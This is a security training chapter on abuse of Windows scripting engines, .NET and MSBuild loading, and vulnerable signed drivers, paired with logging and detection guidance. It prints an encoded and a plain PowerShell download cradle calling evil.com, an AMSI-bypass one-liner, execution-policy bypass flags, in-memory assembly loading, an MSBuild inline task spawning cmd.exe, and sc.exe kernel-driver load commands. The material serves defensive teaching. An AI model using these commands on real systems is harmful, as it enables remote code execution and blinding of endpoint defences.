CHAPTER 03 30 MIN READ INTERMEDIATE

LOLScripts, LOLLibs, and LOLDrivers

Scripting engines, .NET assemblies, and kernel drivers all ship with Windows. Attackers repurpose all three. This chapter covers how each category works, what makes it dangerous, and what logging controls exist to catch abuse.

PowerShell AMSI BYOVD LOLDrivers

LOLScripts: Scripting Engines as Attack Tools

LOLScripts are scripting engines shipped with Windows that attackers repurpose to run attacker-controlled code. The script file itself can be entirely malicious, but the engine executing it is a trusted, signed Windows component. That distinction matters: process-based allowlisting blocks unknown binaries, but it cannot block a trusted scripting engine running a hostile script.

The four core LOLScript engines are:

  • PowerShell (.ps1 files via powershell.exe) — the most powerful, with full .NET API access and a built-in module ecosystem.
  • VBScript (.vbs files via wscript.exe or cscript.exe) — widely deployed in corporate environments, historically the dominant phishing dropper format.
  • JScript (.js files via wscript.exe or cscript.exe) — JavaScript for Windows Script Host, also executable through Internet Explorer and Edge Legacy via ActiveX.
  • HTA (.hta files via mshta.exe) — HTML Application, a hybrid format combining HTML markup with VBScript or JScript, executed outside browser security zones.

What makes scripting engines particularly powerful for attackers is the runtime environment they provide. Unlike a simple LOLBin that invokes one fixed function, a scripting engine accepts multi-line programs. PowerShell scripts can make HTTP requests, write registry keys, load .NET assemblies, and spawn child processes, all from inside a trusted Windows runtime. The attacker brings the code; Windows brings the execution environment.

The key distinction from traditional LOLBins: with a LOLBin, the binary does the malicious work. With a LOLScript, the binary is just a runtime. The payload is the script file or inline command passed to it. That payload can be entirely in memory, fetched from a remote URL, or embedded as an encoded string in a command-line argument.

Script Language Engine Binary Extension Primary Abuse
PowerShell powershell.exe / pwsh.exe .ps1 Download cradles, AMSI bypass, in-memory execution, C2 staging
VBScript wscript.exe, cscript.exe .vbs Phishing droppers, registry persistence, WMI recon
JScript wscript.exe, cscript.exe .js HTML smuggling payloads, commodity malware droppers
HTA mshta.exe .hta Trusted application execution, no UAC prompt, no Protected Mode restriction
WSF (Windows Script File) wscript.exe, cscript.exe .wsf Multi-language dropper combining VBScript and JScript in one file

PowerShell as a LOLScript

PowerShell is the most abused LOLScript. It ships on every modern Windows installation, has full access to the .NET framework and Windows API, supports network operations natively, and provides built-in obfuscation mechanisms that are legitimate features of the language. Defenders cannot simply block it.

Encoded command execution

The -EncodedCommand flag (or -enc) accepts a Base64-encoded Unicode string as the command to execute. The original text is never visible in the process command line. It exists primarily to handle special characters in automated pipelines, but attackers use it to hide payload content from keyword-based detection.

CMD
powershell.exe -NoProfile -WindowStyle Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcAAuAHAAcwAxACcAKQA=
Warning: Encoded commands alone are not reliable indicators of malicious activity. Many legitimate tools encode long strings to avoid shell escaping and character encoding issues. The encoded content matters, not the encoding itself. Script Block Logging (Event ID 4104) captures the decoded payload at execution time.

In-memory download cradle

The most consequential PowerShell technique is the download cradle: fetching a remote script and executing it directly in memory via Invoke-Expression. No file is written to disk. File-based AV scanning cannot see the payload. The script exists only in process memory for the duration of execution.

PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/p.ps1')

Execution policy bypass

PowerShell's execution policy is a user-facing safety control, not a security boundary. It can be bypassed with a single flag:

CMD
powershell.exe -ExecutionPolicy Bypass -File C:\payload.ps1
powershell.exe -ep bypass -File C:\payload.ps1

AMSI bypass via reflection

AMSI (Antimalware Scan Interface) is the Windows mechanism that passes script content to installed AV engines before execution. Attackers bypass it by patching the AMSI initialization state in memory using .NET reflection, before loading any malicious code. Once amsiInitFailed is set to true, AMSI stops scanning that PowerShell session.

PowerShell
[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils').GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true)

Note the string concatenation: 'Am'+'siUtils' and 'amsiIn'+'itFailed'. This is deliberate obfuscation targeting signature-based detection rules that match the full string literal. The .NET reflection call itself is split across the string boundary at runtime, but AMSI sees the obfuscated source before execution.

Additional flags commonly chained together

-WindowStyle Hidden (or -w hidden) suppresses the console window entirely. -NoProfile (or -nop) skips loading the user's profile, which could contain defensive functions or logging. Both are frequently combined with encoded commands and download cradles in single-line payloads.

Detection

PowerShell Event ID 4104 (Script Block Logging) captures the full deobfuscated code at the point Windows is about to execute it. Event ID 4103 (Module Logging) records pipeline execution details. Both require explicit Group Policy enablement under Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell. Without them, command-line logging via Sysmon EID 1 is the only fallback, and it shows only the encoded string, not the decoded content.

VBScript, JScript, and Windows Script Host

Windows Script Host (WSH) is the runtime layer that executes VBScript and JScript files. It ships with every Windows version and cannot be uninstalled without breaking system components. Two WSH binaries exist: wscript.exe runs scripts with a GUI context (dialog boxes are visible), and cscript.exe runs scripts in a console context. Attackers typically prefer wscript for running payloads silently.

VBScript

VBScript (.vbs) has been a standard phishing delivery format for two decades. A malicious .vbs file arriving as an email attachment, once opened, runs immediately in the user's context with their full privileges. Common attack patterns include downloading a stage-2 binary from a remote URL using WScript.Shell and XMLHTTP objects, writing the binary to %TEMP%, and executing it via Shell.Run. All of this is done through the VBScript standard library with no additional tooling required.

Persistence is equally straightforward. A VBScript can write its own path to HKCU\Software\Microsoft\Windows\CurrentVersion\Run and survive reboots. WMI queries for running processes, user accounts, and domain information are available through the GetObject("winmgmts:") call.

JScript

JScript (.js) is the WSH implementation of JavaScript. It runs through the same wscript/cscript runtime as VBScript and shares the same COM object model, so the same persistence and download capabilities apply. JScript gained particular relevance with HTML smuggling: attackers embed base64-encoded payloads inside HTML files and use browser-side JavaScript to decode and save them locally, often as .hta files that then auto-execute via file association.

HTA (HTML Application)

HTA files execute through mshta.exe rather than a browser. The critical difference is trust context: HTAs run outside the browser security zone, receive no Protected Mode restriction, and can call arbitrary COM objects and shell commands. Double-clicking an .hta file (or following a link to one) launches it with full user privileges. No UAC prompt appears because mshta.exe is a trusted Windows binary and the HTA runs in the user's context, not an elevated one.

A minimal malicious HTA is a few lines of VBScript wrapped in HTML. It can download and execute a binary, create scheduled tasks, or write registry persistence before closing the window. The entire execution happens inside mshta.exe, which is a signed Windows binary.

WSF (Windows Script File)

WSF files combine multiple scripting languages in a single XML-structured file. They are less common in commodity malware but appear in more targeted operations where an attacker wants to mix VBScript and JScript capabilities or evade engine-specific detection signatures.

Detection gap and available signals

VBScript and JScript have no equivalent to PowerShell's Script Block Logging. There is no built-in mechanism to capture the script content at execution time. Process creation (Sysmon Event ID 1) is the primary signal, specifically looking for:

  • wscript.exe or cscript.exe spawned by Office applications, browser processes, or email clients
  • Scripts executing from %TEMP%, %APPDATA%, or email attachment staging directories
  • wscript.exe making outbound network connections (Sysmon EID 3), which is anomalous for a script engine
  • mshta.exe spawned with a URL as an argument rather than a local file path

LOLLibs: .NET and COM Abuse

LOLLibs are .NET assemblies and COM components that ship with Windows and can be loaded by legitimate processes to execute attacker-supplied code. The distinction from LOLBins and LOLScripts is that LOLLibs are libraries, not standalone executables. The execution happens inside a host process, making attribution to a specific binary less straightforward.

In-memory .NET assembly loading

PowerShell provides direct access to the .NET reflection API. An attacker who has a malicious .NET DLL can base64-encode it, embed it as a string in a PowerShell script, decode it back to bytes, and load it into the current process entirely in memory:

PowerShell
$bytes = [System.Convert]::FromBase64String($b64EncodedDll)
$assembly = [System.Reflection.Assembly]::Load([byte[]]$bytes)
$type = $assembly.GetType('Namespace.ClassName')
$method = $type.GetMethod('Execute')
$method.Invoke($null, $null)

No DLL file is written to disk. The assembly exists only in the PowerShell process memory. AV file scanning cannot detect it. Script Block Logging captures the PowerShell code, but not the decoded assembly content directly.

MSBuild inline task (T1127.001)

MSBuild.exe is the Microsoft Build Engine, a trusted .NET tool included with Visual Studio and .NET SDK installations. It accepts XML project files and can execute inline C# code through a feature called inline tasks. Attackers craft a .csproj or .targets file containing malicious C# code and pass it to msbuild.exe.

XML
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Run">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
    AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          // Malicious C# code here — compiled and executed at runtime
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task {
            public override bool Execute() {
              System.Diagnostics.Process.Start("cmd.exe");
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
Tip: MSBuild inline task execution does not require a pre-compiled DLL. The C# code is embedded directly in the project file and compiled at runtime inside msbuild.exe, which is often on AppLocker allowlists. The compiled code never exists as a separate file.

COM hijacking context (T1546.015)

COM (Component Object Model) components are registered across the system and loaded by legitimate processes. While COM hijacking is primarily a persistence technique (overwriting registry keys to substitute a malicious COM object for a legitimate one), the mechanism also enables proxy execution: the malicious COM object runs inside a trusted host process, inheriting its trust context and process characteristics.

P/Invoke abuse

P/Invoke (Platform Invocation Services) is the .NET mechanism for calling native Windows API functions from managed code. It is a legitimate feature used throughout the .NET ecosystem. Attackers use it to call low-level Windows APIs (VirtualAlloc, CreateThread, WriteProcessMemory) directly from PowerShell or C# without going through managed wrappers, bypassing some .NET security guardrails in the process.

LOLDrivers and BYOVD

LOLDrivers are legitimate, digitally signed Windows kernel drivers that contain exploitable vulnerabilities. BYOVD (Bring Your Own Vulnerable Driver) is the technique of loading one of these drivers to gain kernel-level code execution, then using that access to disable endpoint security tools.

Why kernel level matters

Modern EDR products run as user-mode processes. They inject hooks into other processes and rely on kernel callbacks to receive notifications about process creation, file writes, and registry modifications. An attacker who achieves ring-0 (kernel) access can operate at a higher privilege level than those security tools. From the kernel, the attacker can terminate EDR processes directly, remove the kernel callbacks that notify those tools of activity, and hide processes and files from user-mode visibility. The security tool continues running but receives no telemetry and cannot protect anything.

How BYOVD works

The attack follows a consistent sequence:

  1. Identify a legitimate signed driver with a known exploitable vulnerability. The loldrivers.io community catalog documents hundreds of these. Common examples include RTCore64.sys (from EVGA GPU software) and mhyprot2.sys (from Genshin Impact's anti-cheat system).
  2. Drop the vulnerable driver to disk and load it using the Windows service control manager: sc.exe create vuln_driver binPath= C:\path\to\driver.sys type= kernel followed by sc.exe start vuln_driver. Windows allows the load because the driver is signed by a legitimate vendor.
  3. Exploit the vulnerability in the loaded driver to achieve arbitrary kernel code execution. The vulnerability might be a privilege escalation bug, an IOCTL that exposes raw memory read/write, or an out-of-bounds write.
  4. Use kernel access to terminate EDR processes, unregister their kernel callbacks, disable their minifilter drivers, or manipulate process protection levels.

Real-world examples

BlackMatter ransomware used mhyprot2.sys to terminate AV and EDR products before starting encryption. Scattered Spider (UNC3944) used vulnerable network adapter drivers in their operations. Cuba ransomware used a similar technique. The Lazarus Group has used multiple BYOVD variations across their tooling. All of these cases share the same pattern: a signed, legitimate driver used as an attack vehicle.

The loldrivers.io project

The loldrivers.io community maintains a catalog of known vulnerable, malicious, and potentially dangerous Windows drivers. Each entry includes the driver name, hash values, known vulnerability details, and affected versions. Detection teams use this catalog to build blocklists and hunting queries against Sysmon driver load events.

Warning: BYOVD attacks are among the most severe LOL techniques available to attackers. Kernel access effectively defeats most user-mode security tooling. Detecting these attacks requires kernel-level telemetry that many organizations do not have configured. HVCI is the most effective mitigation and is available on all modern Windows systems.

Defense

Microsoft maintains the Vulnerable Driver Blocklist, a list of drivers known to be exploitable. HVCI (Hypervisor-Protected Code Integrity) enforces this blocklist at the hypervisor level, preventing vulnerable drivers from loading regardless of their code signature. HVCI is available on Windows 10 and later and is the primary defense against BYOVD. Sysmon Event ID 6 (DriverLoad) provides detection telemetry for monitoring driver loads against known-bad hashes from the loldrivers.io catalog.

Detection and Logging for LOLScripts and Drivers

Detection coverage for LOLScripts varies significantly by technology. PowerShell has rich optional logging. VBScript and JScript have almost none. LOLDrivers require kernel telemetry that is not enabled by default.

PowerShell logging tiers

All four PowerShell logging mechanisms require explicit Group Policy enablement. None are on by default in standard Windows installations.

Log Type Event ID What It Captures Value
Script Block Logging 4104 Full deobfuscated code at execution time Highest — catches encoded and obfuscated payloads
Module Logging 4103 Pipeline execution details, module output High — supplements script block logs
Transcription (file output) All input and output written to log file Forensic — useful post-incident
Protected Event Logging 4104 (encrypted) Script block logs encrypted so attacker cannot read own captured payloads High in adversarial environments

Enable Script Block Logging via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging.

Tip: Script Block Logging catches deobfuscated PowerShell because Windows records the actual code it is about to execute, after decoding. An attacker who uses -enc to hide a payload in Base64 still gets caught by EID 4104 because the decoded code is captured at execution time, not the encoded command-line string.

VBScript and JScript gap

No script-content logging equivalent exists for VBScript or JScript. The only built-in signals are:

  • Process creation (Sysmon EID 1): captures the wscript/cscript command line, including the script file path. Does not capture script content.
  • Network connections (Sysmon EID 3): wscript.exe or cscript.exe making outbound connections is anomalous and should alert.
  • File creation (Sysmon EID 11): a script writing executables to %TEMP% is a high-signal indicator.

The absence of content logging means defenders rely entirely on behavioral signals: which process spawned wscript, where the script file came from, and what the script engine does after it starts.

LOLDriver detection

Sysmon Event ID 6 (DriverLoad) records driver loads with the driver file path and hash. The detection workflow:

  1. Collect Sysmon EID 6 events across the environment.
  2. Hash-match loaded drivers against the loldrivers.io catalog. Any match warrants immediate investigation.
  3. Monitor for sc.exe create with a type= kernel argument and a driver path outside %SystemRoot%\System32\drivers\.
  4. Alert on driver loads from user-writable directories (Desktop, %TEMP%, %APPDATA%).

HVCI prevents the load in the first place. Sysmon EID 6 detects attempts on systems without HVCI. Both controls together provide defense-in-depth against BYOVD.

Key Takeaways

  • LOLScripts are scripting engines (PowerShell, VBScript, JScript, WSH) that run attacker-controlled code inside trusted Windows runtimes, with no additional binary required.
  • PowerShell provides download-in-memory execution, full .NET API access, and AMSI bypass capabilities, making it the most capable and commonly abused LOLScript.
  • Script Block Logging (Event ID 4104) captures deobfuscated PowerShell at execution time. It requires explicit GPO enablement and is the most important PowerShell detection control available.
  • VBScript and JScript have no script-content logging equivalent. Process creation (Sysmon EID 1) is the primary detection source, especially for wscript/cscript spawned by Office applications or email clients.
  • LOLDrivers exploit vulnerable signed kernel drivers via BYOVD to gain ring-0 code execution and terminate EDR processes from the kernel level, operating at a higher privilege than user-mode security tools.
  • HVCI (Hypervisor-Protected Code Integrity) and the Microsoft Vulnerable Driver Blocklist are the most effective mitigations against LOLDriver attacks, preventing known-vulnerable drivers from loading regardless of their digital signature.

Knowledge Check

Click an answer to reveal the explanation.

What PowerShell event ID captures the deobfuscated content of encoded scripts at execution time?

Event ID 4104 is Script Block Logging. It records the full PowerShell code Windows is about to execute, after all deobfuscation has occurred. An attacker who uses -enc to hide their payload in a Base64-encoded string cannot hide from 4104: the decoded code is captured at execution time. This control must be enabled via Group Policy and is one of the most valuable Windows security logs available to defenders.

What makes BYOVD attacks difficult to defend against with user-mode security tools?

BYOVD loads a legitimately signed driver that Windows allows. The vulnerability in that driver is then exploited to gain ring-0 execution. From the kernel, the attacker can terminate user-mode EDR processes, remove kernel callbacks that feed telemetry to those tools, and effectively blind endpoint security. HVCI (Hypervisor-Protected Code Integrity) mitigates this by enforcing a driver allowlist at the hypervisor level, preventing known-vulnerable drivers from loading regardless of their signature.

Which PowerShell technique executes a remote script in memory without writing a file to disk?

The IEX download cradle uses Invoke-Expression to immediately execute the string returned by DownloadString. The script never exists as a file on disk: it is fetched, held in memory as a string, and executed. File-based AV scanning cannot detect it. Script Block Logging (Event ID 4104) does capture it, because Windows records the code at execution time regardless of how it arrived in the process.
VISITORS
VISITORS